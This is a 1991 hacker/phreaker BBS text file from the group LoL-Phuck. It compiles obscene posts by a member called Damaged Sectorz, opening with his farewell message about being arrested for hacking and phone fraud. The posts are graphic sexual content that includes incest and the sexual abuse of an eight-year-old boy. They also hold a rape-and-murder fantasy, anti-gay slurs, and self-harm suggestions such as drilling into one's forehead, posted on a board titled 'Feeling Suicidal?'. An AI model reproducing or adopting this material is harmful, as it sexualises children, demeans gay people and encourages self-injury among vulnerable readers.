West Coast Technologies, Inc. 213/274+1333 <20>.<2E>.<2E>-PHUCK World HQ/1
The Magical Mystery Board [TEMP--DOWN] <20>.<2E>.<2E>-PHUCK World HQ/2 THG Site
Electric Eye ][ / Elite 313/776+8928 <20>.<2E>.<2E>-PHUCK Dist Site TRAD HQ
Inphiniti's Edge BBS 216/662+5115 <20>.<2E>.<2E>-PHUCK Dist Site LAWS.
The Morgue +61-7-353-3388 <20>.<2E>.<2E>-PHUCK Australia EMC Site
Interpol II +46-8-29-6716 <20>.<2E>.<2E>-PHUCK Sweden SHA HQ
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
<EFBFBD>egions <20>f <20>ucifer-PHUCK High Office Staff Member
Prezident of [<5B>.<2E>.<2E>] : Captain Swashbuckler
Prezident of [PHUCK] : Tripin Face
Out of US Representatives : The Undertaker -=- Australia
Mr Big -=- Sweden
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This text file is (C)Copyright 1990,91 <20>.<2E>.<2E>-PHUCK, Inc.
<20>.<2E>.<2E>-PHUCK is a registered trademark of WCT, All rights reserved
Any modifications to this text phile is a violation of copyright.
West Coast Technologies, Inc. 213/274+1333
The Magical Mystery Board [TEMP--DOWN]
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

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Legions of Lucifer ('l<>jen ov l<>cif<69>r) n. 1. Any multitude of followers
of the chief evil spirit, Satan. 2. A group of Telecommunications and
Computer Experts that work together as one to cause havok in the
anarchy bound society of this nation.
PHUCK : Phone Hackers United Crash Kill
Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST!
(That is the same day the Persian Gulf War started [Operation Desert Storm])
We are now: LoL-Phuck
[This is NOT regular LoL-Phuck material, we haven't done any anarchy based]
[text work in since issue number 5, but this was a personal favor to Dama-]
[ged Sectorz before being sent to jail.. Thank you. - Captain Swashbuckler]
This is compilation of the "SiCK" posts made by Damaged Sectorz (the ones
that we could find). It also has the last message posted by him to anyone
before going to prison. They come from many different boards, so please
enjoy...
Contents:
- Last post made by him (Fairwell message to everyone)
- Posts from West Coast Technologies, Inc.
- Post from Realm of Chaos
- Posts from The Shinning Realm
- Small text files written by him (Really sick ones)
The following message was the last message Damaged Sectorz left before going
to the Arizona jail awaiting trial. His lawyer says there is no chance of
getting out of this one. He will get a minimum sentence of 10 years in prison
w/o parole. He is currently 19yrs, when he gets out he will be 29. He gets out
in the year 2001. Before leaving, he requested me to compile as many of his
"SiCK" posts as possible, and release it as a LoL-Phuck text file. That
being his last request, I instantly agreed. He and I were (Still are) good
friends and I plan on still keeping in touch with him while he stays in jail.
When I first found out that he got busted, was when I remotly checked my
answering machine and heard a one minute message from him saying that he got
caught and to not be worried about him narcing on any one. He didn't use his
last call to call his lawyer... he used it to call me. To tell me what they
were asking him and what precautions to take.. unfortunatly, he was cut off
in one minute.. But he called me one day later and this is the outcome.
Left by: Damaged Sectorz on West Coast Technologies, Inc.
Title : hello
Date : June 1, 1991 @ 5:14 pm (PST)
To : friends and enemies
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
fellow hackers and phreakers, I am calling from Sears, right at the present
time, they are checking out some illeagal calls from here. This will be my
last post for good. I have been busted. I have some serious charges against
me.
Charges as followed:
Hacking on a Gov't system (they can trace through divertors, i know)
635 system
433 system
426 system
Tymnet (they are billing me for using, Video, ParmasterX75, and Nethernet1)
possible credit card fraud
shit, there is a ton, but you get the general idea, i wish all to delete me
from all boards. Anyone with my number, please destory it, for there is a DNR
on my line and they are just waiting for you to call. Also to stamp out the
tension, i will not narc on no one. No one did it to me, so i won't do it to
them. I have been questioned. LoL-Phuck was mentioned, EverLast was
mentioned, TouchTone, NPA, Deceptinist, a lot of people, and and a lot more
people are going down. shit, there is a raid this summer also(isn't it every
year it seems). Well i just called to say my goodbyes.
oh yes, there will be no more sick posts by me, yes i know this is a totally
bummer, but hey you can still build up that left arm pretty well now thanxs to
me. hahahaha well goodbye friends
yes one more thing, if possible can LoL-Phuck do one favor for me. Can you
guys have people upload all those sick posts that i put on boards and throw it
in a file for me and pass it around, would be greatly appeciated. you are
probably saying why you won't see it. Well not true, hold on Leper Messiah,
a close personal friend will visit me and he will bring it to me, but if this
is too much to ask for. So Be It!
masterbating with rectal juices mixing with your cum and you lick it off your
mom's pussy
oh yea and don't forget that funky green ooze that hangs about 3 inches from
her cunt also
Damaged
Mind Itself is After Me
******************************************************************************
==============================================================================
The following messages are from: West Coast Technologies, Inc.
(Last board he ever called)
==============================================================================
Faggot & Religion Bashing Title: ahhhh (No Replies)
Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 6:51 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
now come on you konw you like those tight asses, and those lucious mouth
watering rim jobs, hell i mean a personal ass liker, after you take a runny
shit, you know the kinds that go, blub blub blub
SSSSSpppppplllllluuuuurrrrrrgggg! and it runs down your leg and it's really
smelly and you don't want to get shit on your hands, that's when they come in
handy. ugh! sick
Damaged
Mind Itself is After Me
Command [2 of 21]:
Faggot & Religion Bashing Title: naaaa (No Replies)
Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 9:20 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
pour the coke into a dudes ass, and then shove a straw in there, but first
before you do that , make sure that about you and 20 other guys cum in his ass
and just forget the coke and have phun drinking!
Damaged
Mind Itself is After Me
Command [5 of 21]:
Faggot & Religion Bashing Title: i (No Replies)
Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 9:29 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
have a question, how does one become gay??? does he walk down the street, and
suddenly think "Boy you know i think i like a riggid cock up my ass!". totally
fucking boggles me, why two males would engage, in deep throating each other,
filling up their stomach with white creamy liquid, you know the kind that sorta
klings to the back of your throat, and you cough a little. I think i might
understand why they "Butt-Fuck", for a asshole is tighter than any pussy
anyday. But why a guys? does a male rectum have certain qualities such as
soft, but hard feeling to it? does a male rectum have easier penetration but
still tight? Maybe it's when a guy cums it fills up the male rectum (maybe
it's shallow) and see's the cum cumming out of hole, sliding down the male
anus, onto his legs??? tell me this then?
Damaged
Mind Itself is After Me
Command [6 of 21]:
Faggot & Religion Bashing Title: but (1 Reply)
Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 9:37 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
wait a minute, could it be that male rectal solids (or rectal juices depending
on the period of shit they are having), has a stimilating smell or texture to
it? Could these particular solids have a beautifying magic to it, does it
soften your skin? How can one male stand the feeling of a cum filled ass?,
walking around, feeling it drip out slowly, leaving a non-washable stain out of
HIS panties? How can a fag like to stick vibrators up their ass? Are there
sexual nerves in the ass? Could their be hidden qualities that us hetersexual
males do not want to face? Hell let's all go home and break out mom's and pops
and yes sisters vibrator too, and plunge them deep far into the unknown reaches
of your anal hole, yes it may hurt, but think of the pleasure of a real male
dick that is throbbing a good 10 or so inches. Pumping in and out of your ass,
hard making your butt cheeks wiggle, while you are sweating it. he comes to an
orgasm, you fill his cock stiffen, filling up your precious rectum with his
love cream.
gkasffsagsjg
d
d
d
Nasty i'm starting to gross myself out now
Damaged
Mind Itself is After Me
Command [7 of 21]:
Faggot & Religion Bashing Title: but (1 Reply)
Left by Damaged Sectorz (Level 50) When: May 14, 1991 at 12:26 am
> <-602-> AoA Member < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
no one has answered my question. Ok is anyone here stimulated from the stench
of rectal solids, could be your mom's, your dogs, or a cows. don't matter??
or maybe you mom's blood solidified tampoons or pads arouse your sexual
interests, has anyone got down on their knees to slowly likc the pussy juices
off their mom's legs and ate their own mom's out. or maybe thier mom's give
them good head before the go to bed or hell who here has fucked their sister,
you know in the mouth(knock a few teeth out), up the ass, or ate her pussy out.
Or how bout their trusty doggie out back??? can you too roll around in dog
shit while masterbating, and have multipile orgasms as your dad is jerkin'
himself off and recording this and selling it to a child pornography down the
street for $10 bucks
Damaged
Mind Itself is After Me
Command [12 of 21]:
Faggot & Religion Bashing Title: plus! (1 Reply)
Left by Damaged Sectorz (Level 50) When: May 27, 1991 at 12:20 am
> <-602-> AoA Member < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
satan gives the best head too!!! i love it when he drags his fangs around my
stiff cock as i cream all over his face and then i pork him dry and give him
massive rug burns
Damaged
Mind Itself is After Me
Command [19 of 21]:
Music - Occult - Devil Worship Title: naaaa (No Replies)
Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 5:57 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
what happens is that a line of guys, i say about 15o or so, stand in front of
her sweet, terrified, unbroken pussy, and one after another fuck the holy fuck
outta her. takes all night, but after wards, you see cum slowly drip out,
going splash on the ground, they then chant lord prayer backwards and carve
into her heart region and pull her heart out whhile she is awake and still
alive (wouldn't be no phun if they didn't)
Damaged
Mind Itself is After Me
Command [2 of 20]:
Music - Occult - Devil Worship Title: but (1 Reply)
Left by Damaged Sectorz (Level 50) When: May 22, 1991 at 4:28 pm
> <-602-> AoA Member < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
wait there is a new satanic ritual, yes now since the decreasae of women
vigrins now they kidnapp and rap young men rectal openings!!!, plus they use
no lubrication for it doesn't allow them to get a direct contact with the Holy
One.. One of the more complicated ones is that if they find a 8 year male,
they try to stick 3 elongated meats into him, one in his mouth, and two up his
ass for a Triple 3 Effect
Damaged
Mind Itself is After Me
/a
Command [11 of 20]:
Feeling Suicidal? 800-666-DEAD Title: it (1 Reply)
Left by Damaged Sectorz (Level 50) When: April 15, 1991 at 3:30 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
means that death sexually excites you in some manner. Nothing really to worry
about. how bout this for a most trully die'n experience. Obtain a drill, find
a small drill bit, and drill slowly into the middle of your forehead. Better
yet take a powersaw and attempt this. Or take an M-80 and shove it up your
butt or swallow it
Damaged
Mind Itself is After Me
Command [13 of 58]:
Feeling Suicidal? 800-666-DEAD Title: ahhh (2 Replies)
Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 6:48 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
looks like no one has posted here in a long time, well hell, got an idea for a
perfect gift for a person. Can be used for Christmas, Birthdays, Funerals too!
here's what you do, go get a whole jar of hot peppers (and i mean fucking hot
as hell). Pour it all into a bowl, and nuke it in a microwave. Now eat it
all, go to bed, now you are shore enuf gonna have to take a shit in the
morning, so have a bowl waiting. Take yer dump in that bowl, now strain all of
those big hunks raggy shit outta of there, Don't eat outta of it again, unless
your into shit flavored captain crunch. Anyways, now you have juices left,
well these juices have a special name, there Rectal Juices. In it's purest
form, now just pour you newly collected juices into a nice looking jar,
perferbly clear, so you can see that natural brown, with a slight red tint
colouring. Now give it too your girlfriend, Mom(hell mother's day is coming
up), fuck just drink the son-of-a-bitch.
lates
Damaged
Mind Itself is After Me
Command [49 of 58]:
Feeling Suicidal? 800-666-DEAD Title: look (No Replies)
Left by Damaged Sectorz (Level 50) When: May 6, 1991 at 8:55 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
for my next phile, how to pluck your ingrown butt hairs
Damaged
Mind Itself is After Me
Command [51 of 58]:
Feeling Suicidal? 800-666-DEAD Title: well here ya guys go (2 R)
Left by Damaged Sectorz (Level 50) When: May 8, 1991 at 8:13 pm
> <-602-> Elite User / in AoA < To: Anyone
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
have phun cappy with this one, dunno what i do with all of these sick anarchy
files i have, guess i'll just post em
==How to Make a Scud Bomb=====
==Written by: Damaged=====
==3.31.91=====
Haven't you always wondered, what good is shit? Well in this file we shall
discover the one of the many arts of playing with Shit. Sure it may stink,
has artifical flavors and not one of the most pleasant things to digest. But
we here at Shit-ARE-US have discovers several uses for it. Here we are
going to teach you how to be artful in one way of the Shit. So Be It.
==Materials=====
Quanity Item Obtained
------- ------------------- --------------------------------------------
1 Pan Kitchen
1 Bowl Kitchen
1 Fine Screen Front Door Screen
1 Electric Burner Science Lab or Kitchen Stove(NOT RECOMMEND)
1 Spoon Kitchen
MASS Cow Rectal Solids Pasture, don't dig in the toliet
MASS Condoms or Ballons Nearest Drug Store
Well boys and girls, today we are going to teach you how to make your very
own "Scud Bomb". What is a Scud Bomb? Well it's basicly a bomb that is full
of moist gooey processed Cow Rectal Solids. Why use these cow by-products,
quite a simple explanation. Out of all the shit i have experimented with,
such testings as tasting, masterbating and other tests. Cow waste tends
to stay moist in an enclosed environment for long periods of time. Also it
clings better than any other waste. Why does it do this, well Cow's rectal
juices chemical structure allows this to happen. But I won't get into that.
First off, you need to obtain a pan and hop over to the nearest pasture.
Best time to go is before the dawno have the rest of the above items dy
for use.
Fire up your electric burner, set the pan down on it. With your spoon,
stir in great big circles, so that you can get all them there chunks out.
Addition, you should do this outside, if not I promise you that no fucking
cleaner or air freshener will kill that smell. Don't stop stiring, you
